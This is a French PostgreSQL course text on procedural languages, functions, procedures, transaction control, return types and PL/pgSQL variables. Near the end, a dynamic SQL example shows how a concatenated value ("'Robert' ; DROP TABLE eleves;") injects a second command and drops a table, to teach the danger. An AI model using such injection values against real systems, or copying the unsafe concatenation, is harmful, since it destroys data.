'ICU_CFLAGS=-I/usr/local/include/unicode/'
'ICU_LIBS=-L/usr/local/lib -licui18n -licuuc -licudata' '--with-icu'
Si besoin, les emplacements exacts d’installation des bibliothèques
peuvent être récupérés à l’aide des options --libdir
et
--pkglibdir
de pg_config
.
Cependant, dans les paquets fournis par le PGDG, il faudra installer
explicitement le paquet dédié à plperl
pour la version
majeure de PostgreSQL concernée. Pour PostgreSQL 16, les paquets sont
postgresql16-plperl
(depuis yum.postgresql.org) ou
postgresql-plperl-16
(depuis apt.postgresql.org). De même
pour Python 3 (paquets postgresql14-plpython3
ou
postgresql-plython3-14
).
Les bibliothèques plperl.so
, plpython3.so
ou plpgsql.so
contiennent les fonctions qui permettent
l’utilisation de chaque langage. La bibliothèque nécessaire est chargée
par le moteur à la première utilisation d’une procédure utilisant ce
langage.
La plupart des langages intéressants sont disponibles sous forme de paquets. Des versions très récentes, ou des langages plus exotiques, peuvent nécessiter une compilation de l’extension.
Activer un langage passe par la création de l’extension :
CREATE EXTENSION plperl ; -- pour tous
-- versions untrusted
CREATE EXTENSION plperlu ; -- pour le superutilisateur
CREATE EXTENSION plpython3u ;
\dL
ou pg_language
Le langage est activé uniquement dans la base dans laquelle la
commande est lancée. Il faudra donc répéter le
CREATE EXTENSION
dans chaque base au besoin (noter
qu’activer un langage dans la base modèle template1
l’activera aussi pour toutes les bases créées par la suite, comme c’est
déjà le cas pour le PL/pgSQL).
Pour voir les langages activés, utiliser la commande \dL
qui reprend le contenu de la table système
pg_language
:
CREATE EXTENSION plperl ;
CREATE EXTENSION plpython3u ;
CREATE EXTENSION plsh ;
CREATE EXTENSION plr;
postgres=# \dL
Liste des langages
Nom | … | De confiance | Description
------------+---+--------------+-------------------------------------------
plperl | … | t | PL/PerlU untrusted procedural language
plpgsql | … | t | PL/pgSQL procedural language
plpython3u | … | f | PL/Python3U untrusted procedural language
plr | … | f |
plsh | … | f | PL/sh procedural language
Noter la distinction entre les langages trusted (de confiance) et untrusted. Si un langage est trusted, tous les utilisateurs peuvent créer des procédures dans ce langage sans danger. Sinon seuls les superutilisateurs le peuvent.
Il existe par exemple deux variantes de PL/Perl : PL/Perl et PL/PerlU. La seconde est la variante untrusted et est un Perl « complet ». La version trusted n’a pas le droit d’ouvrir des fichiers, des sockets, ou autres appels systèmes qui seraient dangereux.
SQL, PL/pgSQL, PL/Tcl, PL/Perl (mais pas PL/Python) sont trusted et les utilisateurs peuvent les utiliser à volonté.
C, PL/TclU, PL/PerlU, et PL/Python3U sont untrusted. Un
superutilisateur doit alors écrire les fonctions et procédures et opérer
des GRANT EXECUTE
aux utilisateurs.
Une fonction simple en PL/pgSQL :
Même fonction en SQL pur :
CREATE FUNCTION addition (entier1 integer, entier2 integer)
RETURNS integer
LANGUAGE sql
IMMUTABLE
AS ' SELECT entier1 + entier2 ; ' ;
Les fonctions simples peuvent être écrites en SQL pur. La syntaxe est plus claire, mais bien plus limitée qu’en PL/pgSQL (ni boucles, ni conditions, ni exceptions notamment).
À partir de PostgreSQL 14, il est possible de se passer des guillemets encadrants, pour les fonctions SQL uniquement. La même fonction devient donc :
CREATE OR REPLACE FUNCTION addition (entier1 integer, entier2 integer)
RETURNS integer
LANGUAGE sql
IMMUTABLE
RETURN entier1 + entier2 ;
Cette nouvelle écriture respecte mieux le standard SQL. Surtout, elle autorise un parsing et une vérification des objets impliqués dès la déclaration, et non à l’utilisation. Les dépendances entre fonctions et objets utilisés sont aussi mieux tracées.
L’avantage principal des fonctions en pur SQL est, si elles sont assez simples, leur intégration lors de la réécriture interne de la requête (inlining) : elles ne sont donc pas pour l’optimiseur des « boîtes noires ». À l’inverse, l’optimiseur ne sait rien du contenu d’une fonction PL/pgSQL.
Dans l’exemple suivant, la fonction sert de filtre à la requête.
Comme elle est en pur SQL, elle permet d’utiliser l’index sur la colonne
date_embauche
de la table employes_big
:
CREATE FUNCTION employe_eligible_prime_sql (service int, date_embauche date)
RETURNS boolean
LANGUAGE sql
AS $$
SELECT ( service !=3 AND date_embauche < '2003-01-01') ;
$$ ;
EXPLAIN (ANALYZE) SELECT matricule, num_service, nom, prenom
FROM employes_big
WHERE employe_eligible_prime_sql (num_service, date_embauche) ;
QUERY PLAN
---------------------------------------------------------------------------------
Index Scan using employes_big_date_embauche_idx on employes_big
(cost=0.42..1.54 rows=1 width=22) (actual time=0.008..0.009 rows=1 loops=1)
Index Cond: (date_embauche < '2003-01-01'::date)
Filter: (num_service <> 3)
Rows Removed by Filter: 1
Planning Time: 0.102 ms
Execution Time: 0.029 ms
Avec une version de la même fonction en PL/pgSQL, le planificateur ne voit pas le critère indexé. Il n’a pas d’autre choix que de lire toute la table et d’appeler la fonction pour chaque ligne, ce qui est bien sûr plus lent :
CREATE FUNCTION employe_eligible_prime_pl (service int, date_embauche date)
RETURNS boolean
LANGUAGE plpgsql AS $$
BEGIN
RETURN ( service !=3 AND date_embauche < '2003-01-01') ;
END ;
$$ ;
EXPLAIN (ANALYZE) SELECT matricule, num_service, nom, prenom
FROM employes_big
WHERE employe_eligible_prime_pl (num_service, date_embauche) ;
QUERY PLAN
---------------------------------------------------------------------------------
Seq Scan on employes_big (cost=0.00..134407.90 rows=166338 width=22)
(actual time=0.069..269.121 rows=1 loops=1)
Filter: employe_eligible_prime_pl(num_service, date_embauche)
Rows Removed by Filter: 499014
Planning Time: 0.038 ms
Execution Time: 269.157 ms
Le wiki
décrit les conditions pour que l’inlining des fonctions SQL
fonctionne : obligation d’un seul SELECT
, interdiction de
certains fonctionnalités…
Dans cet exemple, on récupère l’estimation du nombre de lignes actives d’une table passée en paramètres.
L’intérêt majeur du PL/pgSQL et du SQL sur les autres langages est la
facilité d’accès aux données. Ici, un simple
SELECT <champ> INTO <variable>
suffit à
récupérer une valeur depuis une table dans une variable.
spi_exec
Voici l’exemple de la fonction :
CREATE OR REPLACE FUNCTION
public.demo_insert_perl(nom_client text, titre_facture text)
RETURNS integer
LANGUAGE plperl
STRICT
AS $function$
use strict;
my ($nom_client, $titre_facture)=@_;
my $rv;
my $id_facture;
my $id_client;
# Le client existe t'il ?
$rv = spi_exec_query('SELECT id_client FROM mes_clients WHERE nom_client = '
. quote_literal($nom_client)
);
# Sinon on le crée :
if ($rv->{processed} == 0)
{
$rv = spi_exec_query('INSERT INTO mes_clients (nom_client) VALUES ('
. quote_literal($nom_client) . ') RETURNING id_client'
);
}
# Dans les deux cas, l'id client est dans $rv :
$id_client=$rv->{rows}[0]->{id_client};
# Insérons maintenant la facture
$rv = spi_exec_query(
'INSERT INTO mes_factures (titre_facture, id_client) VALUES ('
. quote_literal($titre_facture) . ", $id_client ) RETURNING id_facture"
);
$id_facture = $rv->{rows}[0]->{id_facture};
return $id_facture;
$function$ ;
Cette fonction n’est pas parfaite, elle ne protège pas de tout. Il
est tout à fait possible d’avoir une insertion concurrente entre le
SELECT
et le INSERT
par exemple.
Il est clair que l’accès aux données est malaisé en PL/Perl, comme dans la plupart des langages, puisqu’ils ne sont pas prévus spécifiquement pour cette tâche. Par contre, on dispose de toute la puissance de Perl pour les traitements de chaîne, les appels système…
PL/Perl, c’est :
spi_*
Pour éviter les conflits avec les objets de la base, il est conseillé de préfixer les variables.
CREATE OR REPLACE FUNCTION
public.demo_insert_plpgsql(p_nom_client text, p_titre_facture text)
RETURNS integer
LANGUAGE plpgsql
STRICT
AS $function$
DECLARE
v_id_facture int;
v_id_client int;
BEGIN
-- Le client existe t'il ?
SELECT id_client
INTO v_id_client
FROM mes_clients
WHERE nom_client = p_nom_client;
-- Sinon on le crée :
IF NOT FOUND THEN
INSERT INTO mes_clients (nom_client)
VALUES (p_nom_client)
RETURNING id_client INTO v_id_client;
END IF;
-- Dans les deux cas, l'id client est maintenant dans v_id_client
-- Insérons maintenant la facture
INSERT INTO mes_factures (titre_facture, id_client)
VALUES (p_titre_facture, v_id_client)
RETURNING id_facture INTO v_id_facture;
return v_id_facture;
END;
$function$ ;
Cette procédure tronque des tables de la base d’exemple
pgbench, et annule si dry_run
est
vrai.
Les procédures sont récentes dans PostgreSQL (à partir de la version
11). Elles sont à utiliser quand on n’attend pas de résultat en retour.
Surtout, elles permettent de gérer les transactions
(COMMIT
, ROLLBACK
), ce qui ne peut se faire
dans des fonctions, même si celles-ci peuvent modifier les données.
Une procédure ne peut utiliser le contrôle transactionnel que si elle est appelée en dehors de toute transaction.
Comme pour les fonctions, il est possible d’utiliser le SQL pur dans les cas les plus simples, sans contrôle transactionnel notamment :
CREATE OR REPLACE PROCEDURE vide_tables ()
AS '
TRUNCATE TABLE pgbench_history ;
TRUNCATE TABLE pgbench_accounts CASCADE ;
TRUNCATE TABLE pgbench_tellers CASCADE ;
TRUNCATE TABLE pgbench_branches CASCADE ;
' LANGUAGE sql;
Toujours pour les procédures en SQL, il existe une variante sans guillemets, à partir de PostgreSQL 14, mais qui ne supporte pas tous les ordres. Comme pour les fonctions, l’intérêt est la prise en compte des dépendances entre objets et procédures.
DO $$
DECLARE r record;
BEGIN
FOR r IN (SELECT schemaname, relname
FROM pg_stat_user_tables
WHERE coalesce(last_analyze, last_autoanalyze) IS NULL
) LOOP
RAISE NOTICE 'Analyze %.%', r.schemaname, r.relname ;
EXECUTE 'ANALYZE ' || quote_ident(r.schemaname)
|| '.' || quote_ident(r.relname) ;
END LOOP;
END$$;
Les blocs anonymes sont utiles pour des petits scripts ponctuels qui nécessitent des boucles ou du conditionnel, voire du transactionnel, sans avoir à créer une fonction ou une procédure. Ils ne renvoient rien. Ils sont habituellement en PL/pgSQL mais tout langage procédural installé est possible.
L’exemple ci-dessus lance un ANALYZE
sur toutes les
tables où les statistiques n’ont pas été calculées d’après la vue
système, et donne aussi un exemple de SQL dynamique. Le résultat est par
exemple :
NOTICE: Analyze public.pgbench_history
NOTICE: Analyze public.pgbench_tellers
NOTICE: Analyze public.pgbench_accounts
NOTICE: Analyze public.pgbench_branches
DO
Temps : 141,208 ms
(Pour ce genre de SQL dynamique, si l’on est sous psql
,
il est souvent plus pratique d’utiliser \gexec
.)
Noter que les ordres constituent une transaction unique, à moins de
rajouter des COMMIT
ou ROLLBACK
explicitement
(ce n’est autorisé qu’à partir de la version 11).
CALL
Demander l’exécution d’une procédure se fait en utilisant un ordre
SQL spécifique : CALL
. Il suffit
de fournir les paramètres. Il n’y a pas de code retour.
Les fonctions ne sont quant à elles pas directement compatibles avec
la commande CALL
, il faut les invoquer dans le contexte
d’une commande SQL. Elles sont le plus couramment appelées depuis des
commandes de type DML (SELECT
, INSERT
, etc.),
mais on peut aussi les trouver dans d’autres commandes.
Voici quelques exemples :
SELECT
(la fonction ne doit renvoyer qu’une
seule ligne) :SELECT
, en passant en argument les valeurs
d’une colonne d’une table :FROM
d’un SELECT
, la fonction
renvoit ici généralement plusieurs lignes (SETOF
), et un
résultat de type RECORD
:INSERT
pour générer la valeur à insérer :ma_fonction()
(qui doit renvoyer une seule ligne) est passé
en argument d’entrée de la procédure ma_procedure()
:Par ailleurs, certaines fonctions sont spécialisées et ne peuvent être invoquées que dans le contexte pour lequel elles ont été conçues (fonctions trigger, d’agrégat, de fenêtrage, etc.).
COMMIT
et ROLLBACK
: possibles dans les
procéduresBEGIN
EXCEPTION
Une procédure peut contenir des ordres COMMIT
ou
ROLLBACK
pour du contrôle transactionnel. (À l’inverse une
fonction est une transaction unique, ou opère dans une transaction.)
Voici un exemple validant ou annulant une insertion suivant que le nombre est pair ou impair :
CREATE TABLE test1 (a int) ;
CREATE OR REPLACE PROCEDURE transaction_test1()
LANGUAGE plpgsql
AS $$
BEGIN
FOR i IN 0..5 LOOP
INSERT INTO test1 (a) VALUES (i);
IF i % 2 = 0 THEN
COMMIT;
ELSE
ROLLBACK;
END IF;
END LOOP;
END
$$;
Une exemple plus fréquemment utilisé est celui d’une procédure
effectuant un traitement de modification des données par lots, et donc
faisant un COMMIT
à intervalle régulier.
Noter qu’il n’y a pas de BEGIN
explicite dans la gestion
des transactions. Après un COMMIT
ou un
ROLLBACK
, un BEGIN
est immédiatement
exécuté.
On ne peut pas imbriquer des transactions, car PostgreSQL ne connaît pas les sous-transactions :
BEGIN ; CALL transaction_test1() ;
ERROR: invalid transaction termination
CONTEXTE : PL/pgSQL function transaction_test1() line 6 at COMMIT
On ne peut pas utiliser en même temps une clause
EXCEPTION
et le contrôle transactionnel :
DO LANGUAGE plpgsql $$
BEGIN
BEGIN
INSERT INTO test1 (a) VALUES (1);
COMMIT;
INSERT INTO test1 (a) VALUES (1/0);
COMMIT;
EXCEPTION
WHEN division_by_zero THEN
RAISE NOTICE 'caught division_by_zero';
END;
END;
$$;
ERREUR: cannot commit while a subtransaction is active
CONTEXTE : fonction PL/pgSQL inline_code_block, ligne 5 à COMMIT
CREATE FUNCTION
CREATE PROCEDURE
Voici la syntaxe complète pour une fonction d’après la documentation :
CREATE [ OR REPLACE ] FUNCTION
name ( [ [ argmode ] [ argname ] argtype [ { DEFAULT | = } default_expr ] [, …] ] )
[ RETURNS rettype
| RETURNS TABLE ( column_name column_type [, …] ) ]
{ LANGUAGE lang_name
| TRANSFORM { FOR TYPE type_name } [, … ]
| WINDOW
| { IMMUTABLE | STABLE | VOLATILE }
| [ NOT ] LEAKPROOF
| { CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT }
| { [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER }
| PARALLEL { UNSAFE | RESTRICTED | SAFE }
| COST execution_cost
| ROWS result_rows
| SUPPORT support_function
| SET configuration_parameter { TO value | = value | FROM CURRENT }
| AS 'definition'
| AS 'obj_file', 'link_symbol'
| sql_body
} …
Voici la syntaxe complète pour une procédure d’après la documentation :
CREATE [ OR REPLACE ] PROCEDURE
name ( [ [ argmode ] [ argname ] argtype [ { DEFAULT | = } default_expr ] [, …] ] )
{ LANGUAGE lang_name
| TRANSFORM { FOR TYPE type_name } [, … ]
| [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
| SET configuration_parameter { TO value | = value | FROM CURRENT }
| AS 'definition'
| AS 'obj_file', 'link_symbol'
| sql_body
} …
Noter qu’il n’y a pas de langage par défaut. Il est donc nécessaire de le spécifier à chaque création d’une routine comme dans les exemples ci-dessous.
Le langage PL/pgSQL n’est pas sensible à la casse, tout comme SQL
(sauf les noms des objets ou variables, si vous les mettez entre des
guillemets doubles). L’opérateur de comparaison est =
,
l’opérateur d’affectation :=
DECLARE
BEGIN
END
--
ou compris entre
/*
et */
Une routine est composée d’un bloc de déclaration des variables
locales et d’un bloc de code. Le bloc de déclaration commence par le mot
clé DECLARE
et se termine avec le mot clé
BEGIN
. Ce mot clé est celui qui débute le bloc de code. La
fin est indiquée par le mot clé END
.
Toutes les instructions se terminent avec des points-virgules.
Attention, DECLARE
, BEGIN
et END
ne sont pas des instructions.
Il est possible d’ajouter des commentaires. --
indique
le début d’un commentaire qui se terminera en fin de ligne. Pour être
plus précis dans la délimitation, il est aussi possible d’utiliser la
notation C : /*
est le début d’un commentaire et
*/
la fin.
Indiquer le nom d’un label ainsi :
ou bien (pour une boucle)
Bien sûr, il est aussi possible d’utiliser des labels pour des
boucles FOR
, WHILE
, FOREACH
.
On sort d’un bloc ou d’une boucle avec la commande EXIT
,
on peut aussi utiliser CONTINUE
pour passer à l’exécution
suivante d’une boucle sans terminer l’itération courante.
Par exemple :
CREATE OR REPLACE FUNCTION
CREATE OR REPLACE PROCEDURE
Une routine est surchargeable. La seule façon de les différencier est de prendre en compte les arguments (nombre et type). Les noms des arguments peuvent être indiqués mais ils seront ignorés.
Deux routines identiques aux arguments près (on parle de prototype) ne sont pas identiques, mais bien deux routines distinctes.
CREATE OR REPLACE
a principalement pour but de modifier
le code d’une routine, mais il est aussi possible de modifier les
méta-données.
ALTER FUNCTION
/ ALTER PROCEDURE
Toutes les méta-données discutées plus haut sont modifiables avec un
ALTER
.
La suppression se fait avec l’ordre DROP
.
Une fonction pouvant exister en plusieurs exemplaires, avec le même nom et des arguments de type différents, il faudra parfois parfois préciser ces derniers.
$$
$fonction$
, $toto$
…Définir une fonction entre guillemets simples ('
)
devient très pénible dès que la fonction doit en contenir parce qu’elle
contient elle-même des chaînes de caractères. PostgreSQL permet de
remplacer les guillemets par $$
, ou tout mot encadré de
$
.
Par exemple, on peut reprendre la syntaxe de déclaration de la
fonction addition()
précédente en utilisant cette
méthode :
CREATE FUNCTION addition (entier1 integer, entier2 integer)
RETURNS integer
LANGUAGE plpgsql
IMMUTABLE
AS $ma_fonction_addition$
DECLARE
resultat integer;
BEGIN
resultat := entier1 + entier2;
RETURN resultat;
END
$ma_fonction_addition$;
Ce peut être utile aussi dans tout code réalisant une concaténation de chaînes de caractères contenant des guillemets. La syntaxe traditionnelle impose de les multiplier pour les protéger, et le code devient difficile à lire. :
En voilà une simplification grâce aux dollars :
Si vous avez besoin de mettre entre guillemets du texte qui inclut
$$
, vous pouvez utiliser $Q$
, et ainsi de
suite. Le plus simple étant de définir un marqueur de fin de routine
plus complexe, par exemple incluant le nom de la fonction.
Ceci une forme de fonction très simple (et très courante) : deux paramètres en entrée (implicitement en entrée seulement), et une valeur en retour.
Dans le corps de la fonction, il est aussi possible d’utiliser une
notation numérotée au lieu des noms de paramètre : le premier argument a
pour nom $1
, le deuxième $2
, etc. C’est à
éviter.
Tous les types sont utilisables, y compris les types définis par l’utilisateur. En dehors des types natifs de PostgreSQL, PL/pgSQL ajoute des types de paramètres spécifiques pour faciliter l’écriture des routines.
CREATE FUNCTION cree_utilisateur (
nom text, -- IN
type_id int DEFAULT 0 -- IN
) RETURNS id_utilisateur int AS …
VARIADIC
: nombre variableSi le mode d’un argument est omis, IN
est la valeur
implicite : la valeur en entrée ne sera pas modifiée par la
fonction.
Un paramètre OUT
sera modifié. S’il s’agit d’une
variable d’un bloc PL appelant, sa valeur sera modifiée. Un paramètre
INOUT
est un paramètre en entrée qui peut être également
modifié. (Jusque PostgreSQL 13 inclus, les procédures ne supportent pas
les arguments OUT
, seulement IN
et
INOUT
.)
Dans le corps d’une fonction, RETURN
est inutile avec
des paramètres OUT
parce que c’est la valeur des paramètres
OUT
à la fin de la fonction qui est retournée, comme dans
l’exemple plus bas.
L’option VARIADIC
permet de définir une fonction avec un
nombre d’arguments libres à condition de respecter le type de l’argument
(comme printf
en C par exemple). Seul un argument
OUT
peut suivre un argument VARIADIC
:
l’argument VARIADIC
doit être le dernier de la liste des
paramètres en entrée puisque tous les paramètres en entrée suivant
seront considérées comme faisant partie du tableau variadic. Seuls les
arguments IN
et VARIADIC
sont utilisables avec
une fonction déclarée comme renvoyant une table (clause
RETURNS TABLE
, voir plus loin).
La clause DEFAULT
permet de rendre les paramètres
optionnels. Après le premier paramètre ayant une valeur par défaut, tous
les paramètres qui suivent doivent aussi avoir une valeur par défaut.
Pour rendre le paramètre optionnel, il doit être le dernier argument ou
alors les paramètres suivants doivent aussi avoir une valeur par
défaut.
void
Le type de retour (clause RETURNS
dans l’entête) est
obligatoire pour les fonctions et interdit pour les procédures.
Avant la version 11, il n’était pas possible de créer une procédure,
mais il était possible de créer une fonction se comportant globalement
comme une procédure en utilisant le type de retour
void
.
Des exemples plus haut utilisent des types simples, mais tous ceux de PostgreSQL ou les types créés par l’utilisateur sont utilisables.
Depuis le corps de la fonction, le résultat est renvoyé par un appel
à RETURN
(PL/pgSQL) ou SELECT
(SQL).
Comment obtenir ceci ?
3 options :
OUT
RETURNS TABLE
S’il y a besoin de renvoyer plusieurs valeurs à la fois, une première possibilité est de renvoyer un type composé défini auparavant.
Une alternative très courante est d’utiliser plusieurs paramètres
OUT
(et pas de clause RETURN
dans l’entête)
pour obtenir un enregistrement composite :
CREATE OR REPLACE FUNCTION explose_date
(IN d date, OUT jour int, OUT mois int, OUT annee int)
AS $$
SELECT extract (day FROM d)::int,
extract(month FROM d)::int, extract (year FROM d)::int
$$
LANGUAGE sql;
(Noter que l’exemple ci-dessus est en simple SQL.)
La clause TABLE
est une autre alternative, sans doute
plus claire. Cet exemple devient alors, toujours en pur SQL :
RETURNS SETOF :
Pour renvoyer plusieurs lignes, la première possibilité est de
déclarer un type de retour SETOF
. Cet exemple utilise
RETURN NEXT
pour renvoyer les lignes une à une :
CREATE OR REPLACE FUNCTION liste_entiers_setof (limite int)
RETURNS SETOF integer
LANGUAGE plpgsql
AS $$
BEGIN
FOR i IN 1..limite LOOP
RETURN NEXT i;
END LOOP;
END
$$ ;
Renvoyer une structure existante :
S’il y a plusieurs champs à renvoyer, une possibilité est d’utiliser
un type dédié (composé), qu’il faudra cependant créer auparavant.
L’exemple suivant utilise aussi un RETURN QUERY
pour éviter
d’itérer sur toutes les lignes du résultat :
CREATE TYPE pgt AS (schemaname text, tablename text) ;
CREATE OR REPLACE FUNCTION tables_by_owner (p_owner text)
RETURNS SETOF pgt
LANGUAGE plpgsql
AS $$
BEGIN
RETURN QUERY SELECT schemaname::text, tablename::text
FROM pg_tables WHERE tableowner=p_owner
ORDER BY tablename ;
END $$ ;
schemaname | tablename
------------+------------------
public | pgbench_accounts
public | pgbench_branches
public | pgbench_history
public | pgbench_tellers
Si l’on veut renvoyer une structure correspondant exactement à une
table ou vue, la syntaxe est très simple (il n’y a même pas besoin de
%ROWTYPE
) :
CREATE OR REPLACE FUNCTION tables_jamais_analyzees ()
RETURNS SETOF pg_stat_user_tables
LANGUAGE sql
AS $$
SELECT * FROM pg_stat_user_tables
WHERE coalesce(last_analyze, last_autoanalyze) IS NULL ;
$$ ;
-[ RECORD 1 ]-------+------------------------------
relid | 414453
schemaname | public
relname | table_nouvelle
…
n_mod_since_analyze | 10
n_ins_since_vacuum | 10
last_vacuum |
last_autovacuum |
last_analyze |
last_autoanalyze |
vacuum_count | 0
autovacuum_count | 0
analyze_count | 0
autoanalyze_count | 0
-[ RECORD 2 ]-------+------------------------------
…
NB : attention de ne pas oublier le SETOF
, sinon une
seule ligne sera retournée.
RETURNS TABLE :
On a vu que la clause TABLE
permet de renvoyer plusieurs
champs. Or, elle implique aussi SETOF
, et les deux exemples
ci-dessus peuvent devenir :
CREATE OR REPLACE FUNCTION liste_entiers_table (limite int)
RETURNS TABLE (j int)
AS $$
BEGIN
FOR i IN 1..limite LOOP
j = i ;
RETURN NEXT ; -- renvoie la valeur de j en cours
END LOOP;
END $$ LANGUAGE plpgsql;
(Noter ici que le nom du champ retourné dépend du nom de la variable
utilisée, et n’est pas forcément le nom de la fonction. En effet, chaque
appel à RETURN NEXT
retourne un enregistrement composé
d’une copie de toutes les variables, au moment de l’appel à
RETURN NEXT
.)
DROP FUNCTION tables_by_owner ;
CREATE FUNCTION tables_by_owner (p_owner text)
RETURNS TABLE (schemaname text, tablename text)
LANGUAGE plpgsql
AS $$
BEGIN
RETURN QUERY SELECT t.schemaname::text, t.tablename::text
FROM pg_tables t WHERE tableowner=p_owner
ORDER BY t.tablename ;
END $$ ;
Si RETURNS TABLE
est peut-être le plus souple et le plus
clair, le choix entre toutes ces méthodes est affaire de goût, ou de
compatibilité avec du code ancien ou converti d’un produit
concurrent.
Renvoyer le résultat d’une requête :
Les exemples ci-dessus utilisent RETURN NEXT
(pour du
ligne à ligne) ou RETURN QUERY
(pour envoyer directement le
résultat d’une requête).
La variante RETURN QUERY EXECUTE …
est destinée à des
requêtes en SQL dynamique (voir plus loin).
Quand plusieurs lignes sont renvoyées, tout est conservé en mémoire
jusqu’à la fin de la fonction. S’il y en a beaucoup, cela peut poser des
problèmes de latence, voire de mémoire. Le paramètre
work_mem
permet de définir la mémoire utilisée avant de
basculer sur un fichier temporaire, qui a bien sûr un impact sur les
performances.
Appel de fonction :
En général, l’appel se fait ainsi pour obtenir des lignes :
Une alternative est d’utiliser :
pour récupérer un résultat d’une seule colonne, scalaire, type
composite ou RECORD
suivant la fonction.
Cette différence concerne aussi les fonctions système :
Comment gérer les paramètres à NULL
?
STRICT
:
NULL
: retourne NULL
immédiatementSi une fonction est définie comme STRICT
et qu’un des
arguments d’entrée est NULL
, PostgreSQL n’exécute même pas
la fonction et utilise NULL
comme résultat.
Dans la logique relationnelle, NULL
signifie « la valeur
est inconnue ». La plupart du temps, il est logique qu’une fonction
ayant un paramètre à une valeur inconnue retourne aussi une valeur
inconnue, ce qui fait que cette optimisation est très souvent
pertinente.
On gagne à la fois en temps d’exécution, mais aussi en simplicité du
code (il n’y a pas à gérer les cas NULL
pour une fonction
dans laquelle NULL
ne doit jamais être injecté).
Dans la définition d’une fonction, les options sont
STRICT
ou son synonyme
RETURNS NULL ON NULL INPUT
, ou le défaut implicite
CALLED ON NULL INPUT
.
DECLARE
:DECLARE
/BEGIN
/END
imbriqués possible
En PL/pgSQL, pour utiliser une variable dans le corps de la routine
(entre le BEGIN
et le END
), il est obligatoire
de l’avoir déclarée précédemment :
IN
,
INOUT
ou OUT
) ;DECLARE
.La déclaration doit impérativement préciser le nom et le type de la variable.
En option, il est également possible de préciser :
sa valeur initiale (si rien n’est précisé, ce sera
NULL
par défaut) :
sa valeur par défaut, si on veut autre chose que
NULL
:
une contrainte NOT NULL
(dans ce cas, il faut
impérativement un défaut différent de NULL
, et toute
éventuelle affectation ultérieure de NULL
à la variable
provoquera une erreur) :
le collationnement à utiliser, pour les variables de type chaîne de caractères :
Pour les fonctions complexes, avec plusieurs niveaux de boucle par
exemple, il est possible d’imbriquer les blocs
DECLARE
/BEGIN
/END
en y déclarant
des variables locales à ce bloc. Si une variable est par erreur utilisée
hors du scope prévu, une erreur surviendra.
CONSTANT
:L’option CONSTANT
permet de définir une variable pour
laquelle il sera alors impossible d’assigner une valeur dans le reste de
la routine.
%TYPE
:Cela permet d’écrire des routines plus génériques.
L’utilisation de %ROWTYPE
permet de définir une variable
qui contient la structure d’un enregistrement de la table spécifiée.
%ROWTYPE
n’est pas obligatoire, il est néanmoins préférable
d’utiliser cette forme, bien plus portable. En effet, dans PostgreSQL,
toute création de table crée un type associé de même nom, le seul nom de
la table est donc suffisant.
RECORD
identique au type ROW
RECORD
peut changer de type au cours de l’exécution de
la routineRECORD
est beaucoup utilisé pour manipuler des curseurs,
ou dans des boucles FOR … LOOP
: cela évite de devoir se
préoccuper de déclarer un type correspondant exactement aux colonnes de
la requête associée à chaque curseur.
Dans ces exemples, on récupère la première ligne de la fonction avec
SELECT … INTO
, puis on ouvre un curseur implicite pour
balayer chaque ligne obtenue d’une deuxième table. Le type
RECORD
permet de ne pas déclarer une nouvelle variable de
type ligne.
SELECT
pour interprétation par le moteurPREPARE
implicite, avec cachePar expression, on entend par exemple des choses comme :
Dans ce cas, l’expression myvar > 0
sera préparée par
le moteur de la façon suivante :
Puis cette requête préparée sera exécutée en lui passant en paramètre
la valeur de myvar
et la constante 0
.
Si myvar
est supérieur à 0
, il en sera
ensuite de même pour l’instruction suivante :
Comme toute requête préparée, son plan sera mis en cache.
Pour les détails, voir les dessous de PL/pgSQL.
Privilégiez la première écriture pour la lisibilité, la seconde écriture est moins claire et n’apporte rien puisqu’il s’agit ici d’une affectation de constante.
À noter que l’écriture suivante est également possible pour une affectation :
Cette méthode profite du fait que toutes les expressions du code
PL/pgSQL vont être passées au moteur SQL de PostgreSQL dans un
SELECT
pour être résolues. Cela va fonctionner, mais c’est
très peu lisible, et donc non recommandé.
Affectation de la ligne :
INTO STRICT
pour garantir unicité
INTO
seul : juste 1è ligne !Plus d’un enregistrement :
Ordre statique :
WHERE
, tables figéesRécupérer une ligne de résultat d’une requête dans une ligne de type
ROW
ou RECORD
se fait avec
SELECT … INTO
. La première ligne est récupérée.
Généralement on préférera utiliser INTO STRICT
pour lever
une de ces erreurs si la requête renvoie zéro ou plusieurs lignes :
Dans le cas du type ROW
, la définition de la ligne doit
correspondre parfaitement à la définition de la ligne renvoyée. Utiliser
un type RECORD
permet d’éviter ce type de problème. La
variable obtient directement le type ROW
de la ligne
renvoyée.
Il est possible d’utiliser SELECT INTO
avec une simple
variable si l’on n’a qu’un champ d’une ligne à récupérer.
Cette fonction compte les tables, et en trace la liste (les tables ne font pas partie du résultat) :
PERFORM
: résultat ignoréFOUND
On peut déterminer qu’aucune ligne n’a été trouvée par la requête en
utilisant la variable FOUND
:
Pour appeler une fonction, il suffit d’utiliser PERFORM
de la manière suivante :
Pour récupérer le nombre de lignes affectées par l’instruction
exécutée, il faut récupérer la variable de diagnostic
ROW_COUNT
:
Il est à noter que le ROW_COUNT
récupéré ainsi
s’applique à l’ordre SQL précédent, quel qu’il soit :
PERFORM
;EXECUTE
;chaine
chaine
peut être construite à partir d’autres
variablescible
: résultat (une seule ligne)EXECUTE
dans un bloc PL/pgSQL permet notamment du SQL
dynamique : l’ordre peut être construit dans une variable.
Si nom
vaut :
« 'Robert' ; DROP TABLE eleves ;
»
que renvoie ceci ?
Un danger du SQL dynamique est de faire aveuglément confiance aux valeurs des variables en construisant un ordre SQL :
CREATE TEMP TABLE eleves (nom text, id int) ;
INSERT INTO eleves VALUES ('Robert', 0) ;
-- Mise à jour d'un ID
DO $f$
DECLARE
nom text := $$'Robert' ; DROP TABLE eleves;$$ ;
id int ;
BEGIN
RAISE NOTICE 'A exécuter : %','SELECT * FROM eleves WHERE nom = '|| nom ;
EXECUTE 'UPDATE eleves SET id = 327 WHERE nom = '|| nom ;
END ;
$f$ LANGUAGE plpgsql ;
NOTICE: A exécuter : SELECT * FROM eleves WHERE nom = 'Robert' ; DROP TABLE eleves;
\d+ eleves
Aucune relation nommée « eleves » n'a été trouvée.
Cet exemple est directement inspiré d’un dessin très connu de XKCD.
Dans la pratique, la variable nom
(entrée ici en dur)
proviendra par exemple d’un site web, et donc contient potentiellement
des caractères terminant la requête dynamique et en insérant une autre,
potentiellement destructrice.
